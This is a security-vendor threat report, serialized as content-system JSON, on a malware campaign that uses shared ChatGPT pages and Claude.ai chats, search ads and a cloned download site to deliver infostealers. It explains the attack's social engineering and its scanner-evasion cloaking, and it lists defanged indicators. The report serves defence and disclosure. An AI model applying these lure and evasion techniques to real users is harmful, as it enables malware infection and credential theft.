",{"data":882,"content":884,"nodeType":889},{"uri":883},"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/",[885],{"data":886,"marks":887,"value":888,"nodeType":865},{},[],"reported over the past few months","hyperlink",{"data":891,"marks":892,"value":893,"nodeType":865},{},[],". The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake \"Apple Support\" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. ",{"data":895,"content":897,"nodeType":889},{"uri":896},"https://www.kaspersky.com/blog/share-chatgpt-chat-clickfix-macos-amos-infostealer/54928/",[898],{"data":899,"marks":900,"value":901,"nodeType":865},{},[],"Kaspersky documented a parallel campaign",{"data":903,"marks":904,"value":905,"nodeType":865},{},[]," using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. ",{"data":907,"content":908,"nodeType":866},{},[909],{"data":910,"marks":911,"value":912,"nodeType":865},{},[],"Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. ",{"data":914,"content":920,"nodeType":921},{"target":915},{"sys":916},{"id":917,"type":918,"linkType":919},"5lz9zt223pecGvdaqdvSTQ","Link","Entry",[],"embedded-entry-block",{"data":923,"content":927,"nodeType":921},{"target":924},{"sys":925},{"id":926,"type":918,"linkType":919},"51GomAj3VOjnbmgd1DWYu0",[],{"data":929,"content":930,"nodeType":866},{},[931,937],{"data":932,"marks":933,"value":936,"nodeType":865},{},[934],{"type":935},"bold","This is a live campaign which is still generating detections across our customer base at the time of writing. ",{"data":938,"marks":939,"value":940,"nodeType":865},{},[],"Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. ",{"data":942,"content":943,"nodeType":944},{},[],"hr",{"data":946,"content":947,"nodeType":953},{},[948],{"data":949,"marks":950,"value":952,"nodeType":865},{},[951],{"type":935},"A fake page, not a fake conversation","heading-1",{"data":955,"content":956,"nodeType":866},{},[957,961,967],{"data":958,"marks":959,"value":960,"nodeType":865},{},[],"Previously reported variants relied on shared ",{"data":962,"marks":963,"value":966,"nodeType":865},{},[964],{"type":965},"italic","conversations",{"data":968,"marks":969,"value":970,"nodeType":865},{},[]," — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the \"AI assistant\" appeared to be helpfully guiding the user through an installation process.",{"data":972,"content":973,"nodeType":866},{},[974],{"data":975,"marks":976,"value":977,"nodeType":865},{},[],"But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:",{"data":979,"content":983,"nodeType":921},{"target":980},{"sys":981},{"id":982,"type":918,"linkType":919},"1O9gyQab81SnbxhQp2aa5Z",[],{"data":985,"content":986,"nodeType":866},{},[987],{"data":988,"marks":989,"value":990,"nodeType":865},{},[],"A professional-looking error message reads: \"We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.\" A prominent download button sits below.",{"data":992,"content":993,"nodeType":866},{},[994],{"data":995,"marks":996,"value":997,"nodeType":865},{},[],"The \"Show code\" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.",{"data":999,"content":1003,"nodeType":921},{"target":1000},{"sys":1001},{"id":1002,"type":918,"linkType":919},"4kQTfxB3aVH9W9BeYOuljP",[],{"data":1005,"content":1006,"nodeType":944},{},[],{"data":1008,"content":1009,"nodeType":953},{},[1010],{"data":1011,"marks":1012,"value":1014,"nodeType":865},{},[1013],{"type":935},"The download page",{"data":1016,"content":1017,"nodeType":866},{},[1018],{"data":1019,"marks":1020,"value":1021,"nodeType":865},{},[],"Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.",{"data":1023,"content":1027,"nodeType":921},{"target":1024},{"sys":1025},{"id":1026,"type":918,"linkType":919},"4MdFc4OB37ZihTGx506QJ6",[],{"data":1029,"content":1033,"nodeType":921},{"target":1030},{"sys":1031},{"id":1032,"type":918,"linkType":919},"LaPUy0zpIeY8s4PF2wkat",[],{"data":1035,"content":1036,"nodeType":866},{},[1037],{"data":1038,"marks":1039,"value":1040,"nodeType":865},{},[],"The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. ",{"data":1042,"content":1043,"nodeType":866},{},[1044],{"data":1045,"marks":1046,"value":1047,"nodeType":865},{},[],"Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.",{"data":1049,"content":1050,"nodeType":866},{},[1051,1055,1063],{"data":1052,"marks":1053,"value":1054,"nodeType":865},{},[],"The downloaded executable poses as \"ChatGPT for Desktop\" and is ",{"data":1056,"content":1058,"nodeType":889},{"uri":1057},"https://www.virustotal.com/gui/file/de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",[1059],{"data":1060,"marks":1061,"value":1062,"nodeType":865},{},[],"flagged on VirusTotal",{"data":1064,"marks":1065,"value":1066,"nodeType":865},{},[],".",{"data":1068,"content":1072,"nodeType":921},{"target":1069},{"sys":1070},{"id":1071,"type":918,"linkType":919},"3FSbwoFJYQrcyo9uMsQIWI",[],{"data":1074,"content":1075,"nodeType":944},{},[],{"data":1077,"content":1078,"nodeType":953},{},[1079],{"data":1080,"marks":1081,"value":1083,"nodeType":865},{},[1082],{"type":935},"The Claude variant: same campaign, different platform",{"data":1085,"content":1086,"nodeType":866},{},[1087,1091,1098],{"data":1088,"marks":1089,"value":1090,"nodeType":865},{},[],"Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by ",{"data":1092,"content":1093,"nodeType":889},{"uri":883},[1094],{"data":1095,"marks":1096,"value":1097,"nodeType":865},{},[],"BleepingComputer",{"data":1099,"marks":1100,"value":1101,"nodeType":865},{},[],": a shared chat disguised as a \"Claude Code on Mac\" installation guide, attributed to \"Apple Support,\" containing a curl command that downloads and executes malware.",{"data":1103,"content":1107,"nodeType":921},{"target":1104},{"sys":1105},{"id":1106,"type":918,"linkType":919},"5sWayuTsVdiLSLoS4sv2Vc",[],{"data":1109,"content":1110,"nodeType":866},{},[1111],{"data":1112,"marks":1113,"value":1114,"nodeType":865},{},[],"The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.",{"data":1116,"content":1117,"nodeType":944},{},[],{"data":1119,"content":1120,"nodeType":953},{},[1121],{"data":1122,"marks":1123,"value":1125,"nodeType":865},{},[1124],{"type":935},"Malvertising remains one of the top phishing delivery channels",{"data":1127,"content":1128,"nodeType":866},{},[1129],{"data":1130,"marks":1131,"value":1132,"nodeType":865},{},[],"Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including \"chatgpt,\" \"chatgpt free,\" \"chat gpt,\" and common typos like \"chatgo,\" \"chatgot,\" and \"cvhatgpt.\" ",{"data":1134,"content":1135,"nodeType":866},{},[1136],{"data":1137,"marks":1138,"value":1139,"nodeType":865},{},[],"You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. ",{"data":1141,"content":1145,"nodeType":921},{"target":1142},{"sys":1143},{"id":1144,"type":918,"linkType":919},"1GYWOyHpZT1rdTm6IGOKu8",[],{"data":1147,"content":1151,"nodeType":921},{"target":1148},{"sys":1149},{"id":1150,"type":918,"linkType":919},"4HpFJRAZH2lbygaEk2xOnN",[],{"data":1153,"content":1154,"nodeType":866},{},[1155,1159,1167,1171,1179,1183,1193],{"data":1156,"marks":1157,"value":1158,"nodeType":865},{},[],"This fits a pattern Push has tracked extensively. ",{"data":1160,"content":1162,"nodeType":889},{"uri":1161},"https://pushsecurity.com/blog/verizon-dbir-2026-review/",[1163],{"data":1164,"marks":1165,"value":1166,"nodeType":865},{},[],"Search-based delivery is now the dominant channel for malware distribution",{"data":1168,"marks":1169,"value":1170,"nodeType":865},{},[]," — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into ",{"data":1172,"content":1174,"nodeType":889},{"uri":1173},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/",[1175],{"data":1176,"marks":1177,"value":1178,"nodeType":865},{},[],"malvertising campaigns impersonating brands like TradingView",{"data":1180,"marks":1181,"value":1182,"nodeType":865},{},[]," and ",{"data":1184,"content":1186,"nodeType":889},{"uri":1185},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/",[1187],{"data":1188,"marks":1189,"value":1192,"nodeType":865},{},[1190],{"type":1191},"underline","Ahrefs",{"data":1194,"marks":1195,"value":1196,"nodeType":865},{},[]," has demonstrated how effectively search ads can funnel victims to malicious pages. ",{"data":1198,"content":1199,"nodeType":866},{},[1200],{"data":1201,"marks":1202,"value":1203,"nodeType":865},{},[],"The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.",{"data":1205,"content":1206,"nodeType":944},{},[],{"data":1208,"content":1209,"nodeType":953},{},[1210],{"data":1211,"marks":1212,"value":1214,"nodeType":865},{},[1213],{"type":935},"Legitimate platform abuse is everywhere",{"data":1216,"content":1217,"nodeType":866},{},[1218],{"data":1219,"marks":1220,"value":1221,"nodeType":865},{},[],"This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.",{"data":1223,"content":1224,"nodeType":1229},{},[1225],{"data":1226,"marks":1227,"value":1228,"nodeType":865},{},[],"Legit platform abuse for delivery","heading-2",{"data":1231,"content":1232,"nodeType":866},{},[1233,1237,1245,1249,1257,1261,1269],{"data":1234,"marks":1235,"value":1236,"nodeType":865},{},[],"On the delivery side, attackers have been ",{"data":1238,"content":1240,"nodeType":889},{"uri":1239},"https://www.bleepingcomputer.com/news/security/amazon-ses-increasingly-abused-in-phishing-to-evade-detection/",[1241],{"data":1242,"marks":1243,"value":1244,"nodeType":865},{},[],"weaponizing stolen AWS credentials to send phishing through Amazon SES",{"data":1246,"marks":1247,"value":1248,"nodeType":865},{},[]," that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed ",{"data":1250,"content":1252,"nodeType":889},{"uri":1251},"https://thehackernews.com/2026/05/30000-facebook-accounts-hacked-via.html",[1253],{"data":1254,"marks":1255,"value":1256,"nodeType":865},{},[],"AccountDumpling used Google AppSheet's built-in email capability",{"data":1258,"marks":1259,"value":1260,"nodeType":865},{},[]," as a phishing relay to harvest 30,000 Facebook credentials. ",{"data":1262,"content":1264,"nodeType":889},{"uri":1263},"https://techcrunch.com/2026/05/21/scammers-are-abusing-an-internal-microsoft-account-to-send-spam/",[1265],{"data":1266,"marks":1267,"value":1268,"nodeType":865},{},[],"Scammers exploited Microsoft's own internal notification pipeline",{"data":1270,"marks":1271,"value":1272,"nodeType":865},{},[]," — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.",{"data":1274,"content":1275,"nodeType":1229},{},[1276],{"data":1277,"marks":1278,"value":1279,"nodeType":865},{},[],"Legit platform abuse for hosting",{"data":1281,"content":1282,"nodeType":866},{},[1283,1287,1295,1299,1307],{"data":1284,"marks":1285,"value":1286,"nodeType":865},{},[],"For hosting, the platforms being abused read like a who's who of modern web infrastructure. ",{"data":1288,"content":1290,"nodeType":889},{"uri":1289},"https://www.securityweek.com/over-500-organizations-hit-in-years-long-phishing-campaign/",[1291],{"data":1292,"marks":1293,"value":1294,"nodeType":865},{},[],"Operation HookedWing ran for four years",{"data":1296,"marks":1297,"value":1298,"nodeType":865},{},[]," on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately ",{"data":1300,"content":1302,"nodeType":889},{"uri":1301},"https://cofense.com/blog/steal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing/",[1303],{"data":1304,"marks":1305,"value":1306,"nodeType":865},{},[],"documented the growing abuse of Vercel",{"data":1308,"marks":1309,"value":1310,"nodeType":865},{},[]," for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. ",{"data":1312,"content":1313,"nodeType":1229},{},[1314],{"data":1315,"marks":1316,"value":1317,"nodeType":865},{},[],"Abuse of compromised websites that are otherwise legit",{"data":1319,"content":1320,"nodeType":866},{},[1321,1325,1333,1337,1345,1349,1357],{"data":1322,"marks":1323,"value":1324,"nodeType":865},{},[],"Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a ",{"data":1326,"content":1328,"nodeType":889},{"uri":1327},"https://www.bleepingcomputer.com/news/security/ghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign/",[1329],{"data":1330,"marks":1331,"value":1332,"nodeType":865},{},[],"Ghost CMS vulnerability planted ClickFix pages across 700+ websites",{"data":1334,"marks":1335,"value":1336,"nodeType":865},{},[]," including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where ",{"data":1338,"content":1340,"nodeType":889},{"uri":1339},"https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/",[1341],{"data":1342,"marks":1343,"value":1344,"nodeType":865},{},[],"SEO poisoning was combined with AI chatbot recommendation manipulation",{"data":1346,"marks":1347,"value":1348,"nodeType":865},{},[]," to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And ",{"data":1350,"content":1352,"nodeType":889},{"uri":1351},"https://www.helpnetsecurity.com/2026/05/27/deno-rat-malware-fake-chatgpt-claude-installers/",[1353],{"data":1354,"marks":1355,"value":1356,"nodeType":865},{},[],"fake ChatGPT and Claude installers on GitHub and SourceForge",{"data":1358,"marks":1359,"value":1360,"nodeType":865},{},[]," have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.",{"data":1362,"content":1363,"nodeType":866},{},[1364],{"data":1365,"marks":1366,"value":1367,"nodeType":865},{},[],"The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. ",{"data":1369,"content":1370,"nodeType":944},{},[],{"data":1372,"content":1373,"nodeType":953},{},[1374],{"data":1375,"marks":1376,"value":1378,"nodeType":865},{},[1377],{"type":935},"Impact analysis",{"data":1380,"content":1381,"nodeType":866},{},[1382,1386,1394],{"data":1383,"marks":1384,"value":1385,"nodeType":865},{},[],"Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known ",{"data":1387,"content":1389,"nodeType":889},{"uri":1388},"https://phishing-techniques.pushsecurity.com/",[1390],{"data":1391,"marks":1392,"value":1393,"nodeType":865},{},[],"detection evasion technique",{"data":1395,"marks":1396,"value":1397,"nodeType":865},{},[],"). ",{"data":1399,"content":1400,"nodeType":866},{},[1401],{"data":1402,"marks":1403,"value":1404,"nodeType":865},{},[],"What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. ",{"data":1406,"content":1407,"nodeType":1229},{},[1408],{"data":1409,"marks":1410,"value":1412,"nodeType":865},{},[1411],{"type":935},"How Push detected the attack",{"data":1414,"content":1415,"nodeType":866},{},[1416,1420,1425],{"data":1417,"marks":1418,"value":1419,"nodeType":865},{},[],"We've aligned our detection logic for this technique under the name ",{"data":1421,"marks":1422,"value":1424,"nodeType":865},{},[1423],{"type":935},"LLMShare",{"data":1426,"marks":1427,"value":1428,"nodeType":865},{},[]," — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. ",{"data":1430,"content":1431,"nodeType":866},{},[1432],{"data":1433,"marks":1434,"value":1435,"nodeType":865},{},[],"Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen. ",{"data":1437,"content":1438,"nodeType":866},{},[1439,1443,1451],{"data":1440,"marks":1441,"value":1442,"nodeType":865},{},[],"When we identified the initial instances of this campaign, we used our ",{"data":1444,"content":1446,"nodeType":889},{"uri":1445},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/",[1447],{"data":1448,"marks":1449,"value":1450,"nodeType":865},{},[],"agentic threat hunting pipeline",{"data":1452,"marks":1453,"value":1454,"nodeType":865},{},[]," to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur. ",{"data":1456,"content":1457,"nodeType":866},{},[1458],{"data":1459,"marks":1460,"value":1461,"nodeType":865},{},[],"Push customers do not need to take any further action.",{"data":1463,"content":1464,"nodeType":944},{},[],{"data":1466,"content":1467,"nodeType":866},{},[1468],{"data":1469,"marks":1470,"value":1471,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":1473,"content":1474,"nodeType":866},{},[1475],{"data":1476,"marks":1477,"value":1478,"nodeType":865},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":1480,"content":1481,"nodeType":866},{},[1482,1485,1494],{"data":1483,"marks":1484,"value":21,"nodeType":865},{},[],{"data":1486,"content":1488,"nodeType":889},{"uri":1487},"https://pushsecurity.com/demo/",[1489],{"data":1490,"marks":1491,"value":1493,"nodeType":865},{},[1492],{"type":1191},"Book a live demo to learn more.",{"data":1495,"marks":1496,"value":21,"nodeType":865},{},[],{"data":1498,"content":1499,"nodeType":944},{},[],{"data":1501,"content":1502,"nodeType":953},{},[1503],{"data":1504,"marks":1505,"value":1507,"nodeType":865},{},[1506],{"type":935},"Indicators of compromise",{"data":1509,"content":1510,"nodeType":866},{},[1511,1515,1523],{"data":1512,"marks":1513,"value":1514,"nodeType":865},{},[],"As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":1516,"content":1518,"nodeType":889},{"uri":1517},"https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/",[1519],{"data":1520,"marks":1521,"value":1522,"nodeType":865},{},[],"quickly spin up and rotate the sites used",{"data":1524,"marks":1525,"value":1526,"nodeType":865},{},[]," in the attack chain. IoC-based detections for campaigns like this are of limited value.",{"data":1528,"content":1529,"nodeType":866},{},[1530],{"data":1531,"marks":1532,"value":1533,"nodeType":865},{},[],"At the time of writing, the indicators observed were:",{"data":1535,"content":1536,"nodeType":1656},{},[1537,1564,1588,1610,1633],{"data":1538,"content":1539,"nodeType":1563},{},[1540,1552],{"data":1541,"content":1542,"nodeType":1551},{},[1543],{"data":1544,"content":1545,"nodeType":866},{},[1546],{"data":1547,"marks":1548,"value":1550,"nodeType":865},{},[1549],{"type":935},"Indicator","table-header-cell",{"data":1553,"content":1554,"nodeType":1551},{},[1555],{"data":1556,"content":1557,"nodeType":866},{},[1558],{"data":1559,"marks":1560,"value":1562,"nodeType":865},{},[1561],{"type":935},"Type","table-row",{"data":1565,"content":1566,"nodeType":1563},{},[1567,1578],{"data":1568,"content":1569,"nodeType":1577},{},[1570],{"data":1571,"content":1572,"nodeType":866},{},[1573],{"data":1574,"marks":1575,"value":1576,"nodeType":865},{},[],"hxxps://claude[.]ai/share/8e6401b5-4849-46c4-a3cb-29e1c3c49131","table-cell",{"data":1579,"content":1580,"nodeType":1577},{},[1581],{"data":1582,"content":1583,"nodeType":866},{},[1584],{"data":1585,"marks":1586,"value":1587,"nodeType":865},{},[],"URL",{"data":1589,"content":1590,"nodeType":1563},{},[1591,1601],{"data":1592,"content":1593,"nodeType":1577},{},[1594],{"data":1595,"content":1596,"nodeType":866},{},[1597],{"data":1598,"marks":1599,"value":1600,"nodeType":865},{},[],"hxxps://chatgpt[.]com/s/cb_6a0f1e6bbec88191aa7fede27163f08d",{"data":1602,"content":1603,"nodeType":1577},{},[1604],{"data":1605,"content":1606,"nodeType":866},{},[1607],{"data":1608,"marks":1609,"value":1587,"nodeType":865},{},[],{"data":1611,"content":1612,"nodeType":1563},{},[1613,1623],{"data":1614,"content":1615,"nodeType":1577},{},[1616],{"data":1617,"content":1618,"nodeType":866},{},[1619],{"data":1620,"marks":1621,"value":1622,"nodeType":865},{},[],"openew[.]app",{"data":1624,"content":1625,"nodeType":1577},{},[1626],{"data":1627,"content":1628,"nodeType":866},{},[1629],{"data":1630,"marks":1631,"value":1632,"nodeType":865},{},[],"Domain",{"data":1634,"content":1635,"nodeType":1563},{},[1636,1646],{"data":1637,"content":1638,"nodeType":1577},{},[1639],{"data":1640,"content":1641,"nodeType":866},{},[1642],{"data":1643,"marks":1644,"value":1645,"nodeType":865},{},[],"de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",{"data":1647,"content":1648,"nodeType":1577},{},[1649],{"data":1650,"content":1651,"nodeType":866},{},[1652],{"data":1653,"marks":1654,"value":1655,"nodeType":865},{},[],"SHA256","table",{"data":1658,"content":1659,"nodeType":866},{},[1660],{"data":1661,"marks":1662,"value":21,"nodeType":865},{},[],"document",{"entries":1665},{"hyperlink":1666,"inline":1667,"block":1668},[],[],[1669,1677,1704,1711,1718,1725,1732,1740,1747,1755],{"sys":1670,"__typename":1671,"title":1672,"caption":59,"layoutMode":59,"file":1673},{"id":917},"Image","LLMShare pages side by side",{"url":1674,"width":1675,"height":1676},"https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png",1999,875,{"sys":1678,"__typename":1679,"content":1680,"name":1703,"title":59},{"id":926},"InsightTextBlockComponent",{"json":1681},{"nodeType":1663,"data":1682,"content":1683},{},[1684],{"nodeType":866,"data":1685,"content":1686},{},[1687,1691,1699],{"nodeType":865,"value":1688,"marks":1689,"data":1690},"These are essentially InstallFix attacks — a variant of the ClickFix family that ",[],{},{"nodeType":889,"data":1692,"content":1694},{"uri":1693},"https://pushsecurity.com/blog/installfix/",[1695],{"nodeType":865,"value":1696,"marks":1697,"data":1698},"Push documented earlier this year",[],{},{"nodeType":865,"value":1700,"marks":1701,"data":1702}," — and they exploit the fact that AI tools have normalized command-line installation workflows for a population of users who lack the experience to distinguish a legitimate terminal command from a malicious one. ",[],{},"LLMShare IB1",{"sys":1705,"__typename":1671,"title":1706,"caption":1707,"layoutMode":59,"file":1708},{"id":982},"LLMShare error page","The fake \"high traffic\" page rendered inside a ChatGPT shared content URL. Note the \"Show code\" and \"Remix with ChatGPT\" buttons at the top, which reveal that this is actually rendered HTML/CSS code rather than a real ChatGPT system page.",{"url":1709,"width":1675,"height":1710},"https://images.ctfassets.net/y1cdw1ablpvd/soQtEPyX9aQUfby2Ylm7m/0bb772950b7e3598a343f1609a955ed4/image3.png",1750,{"sys":1712,"__typename":1671,"title":1713,"caption":1714,"layoutMode":59,"file":1715},{"id":1002},"LLMShare panel showing source code","The same page with the code panel open, showing the HTML/CSS source code that generates the fake service disruption notice.",{"url":1716,"width":1675,"height":1717},"https://images.ctfassets.net/y1cdw1ablpvd/22IO2J68rUGy5ZzEAGfFIh/ff98ca14ed74de0c35e5154c43aa1524/image7.png",1128,{"sys":1719,"__typename":1671,"title":1720,"caption":1721,"layoutMode":59,"file":1722},{"id":1026},"LLMShare page with download panel","The fake ChatGPT download page hosted at openew[.]app. The design closely replicates OpenAI's legitimate download page.",{"url":1723,"width":1675,"height":1724},"https://images.ctfassets.net/y1cdw1ablpvd/4woFKeexapLYHfpKfCzEbo/8b7fc45a933af8fea5f6bce97823e123/image2.png",1210,{"sys":1726,"__typename":1671,"title":1727,"caption":1728,"layoutMode":59,"file":1729},{"id":1032},"Real ChatGPT download page for comparison at chatgpt.com/download.","Real ChatGPT download page for comparison chatgpt.com/download.",{"url":1730,"width":1675,"height":1731},"https://images.ctfassets.net/y1cdw1ablpvd/3hHpXRmxJyRPs4y1SQbHMM/67e33342db5ecb1e3928bb8e1a56749a/image5.png",1142,{"sys":1733,"__typename":1671,"title":1734,"caption":1735,"layoutMode":59,"file":1736},{"id":1071},"Alternative LLMShare page for bot visitors","What URLScan sees when visiting the same openew[.]app URL: a generic \"Openew\" AR/VR company website with no trace of the ChatGPT impersonation.",{"url":1737,"width":1738,"height":1739},"https://images.ctfassets.net/y1cdw1ablpvd/apMKHaMjDF9GmoCO1gVHT/c25938faf56bb96b467469209470e40c/image1.png",1600,1200,{"sys":1741,"__typename":1671,"title":1742,"caption":1742,"layoutMode":59,"file":1743},{"id":1106},"A shared Claude.ai conversation containing malicious installation instructions in the style previously reported by BleepingComputer.",{"url":1744,"width":1745,"height":1746},"https://images.ctfassets.net/y1cdw1ablpvd/2YLf3kEK2y2XjdyM1Q9uRT/6b5774de9708ff8544889305a094d991/image6.png",1920,945,{"sys":1748,"__typename":1671,"title":1749,"caption":1750,"layoutMode":59,"file":1751},{"id":1144},"LLMShare malvertising","The LLMShare ad uses the legitimate ChatGPT domain and is the top result.",{"url":1752,"width":1753,"height":1754},"https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png",1910,1005,{"sys":1756,"__typename":1679,"content":1757,"name":1792,"title":59},{"id":1150},{"json":1758},{"nodeType":1663,"data":1759,"content":1760},{},[1761,1772],{"nodeType":866,"data":1762,"content":1763},{},[1764,1768],{"nodeType":865,"value":1765,"marks":1766,"data":1767},"Although we managed to grab that example, the ads haven't been easy to reproduce.",[],{},{"nodeType":865,"value":1769,"marks":1770,"data":1771}," This is because the ads are likely geographically or temporally scoped. It’s pretty eye-opening (and creepy) how tightly scoped these kinds of sponsored ads can be across different platforms. ",[],{},{"nodeType":866,"data":1773,"content":1774},{},[1775,1779,1788],{"nodeType":865,"value":1776,"marks":1777,"data":1778},"This is one of the key misconceptions people can have about this kind of attack. It’s easy to see it as untargeted, when realistically it can be scoped tightly to a desired victim population by role, geography, and so on. We’ve written about this previously in ",[],{},{"nodeType":889,"data":1780,"content":1782},{"uri":1781},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/",[1783],{"nodeType":865,"value":1784,"marks":1785,"data":1787},"our blog",[1786],{"type":1191},{},{"nodeType":865,"value":1789,"marks":1790,"data":1791}," on the ad account takeover > malvertising ecosystem. ",[],{},"LLMShare IB2",{"items":1794},[],{},"LLMShare: using shared chatbot pages to distribute malware","threat-research","2026-05-29T00:00:00.000Z",{"items":1800},[1801,2675,3702],{"__typename":1802,"sys":1803,"content":1805,"title":2654,"synopsis":2655,"hashTags":59,"publishedDate":2656,"slug":2657,"tagsCollection":2658,"authorsCollection":2667},"BlogPosts",{"id":1804},"211Dd0EIrXPOFpvRgs0fEE",{"json":1806},{"data":1807,"content":1808,"nodeType":1663},{},[1809,1828,1847,1866,1872,1875,1883,1890,1897,1904,1911,1919,1922,1930,1937,1944,1951,1957,1965,1984,1991,1998,2014,2022,2053,2069,2076,2106,2114,2145,2152,2160,2179,2186,2193,2199,2206,2214,2233,2240,2259,2266,2269,2277,2284,2375,2382,2398,2401,2431,2450,2457,2464,2467,2475,2494,2501,2508,2525,2528,2536,2543,2576,2583,2600,2619,2625,2628,2635],{"data":1810,"content":1811,"nodeType":866},{},[1812,1816,1824],{"data":1813,"marks":1814,"value":1815,"nodeType":865},{},[],"When we released the ",{"data":1817,"content":1819,"nodeType":889},{"uri":1818},"https://pushsecurity.com/blog/saas-attack-techniques/",[1820],{"data":1821,"marks":1822,"value":1823,"nodeType":865},{},[],"SaaS attack matrix",{"data":1825,"marks":1826,"value":1827,"nodeType":865},{},[]," in 2023, we were anticipating a shift that was just beginning to take shape. The techniques that attackers were using to compromise cloud applications and identities weren't well represented in existing frameworks, and many of the ones we documented hadn't yet been widely observed in the wild.",{"data":1829,"content":1830,"nodeType":866},{},[1831,1835,1843],{"data":1832,"marks":1833,"value":1834,"nodeType":865},{},[],"A year later, we 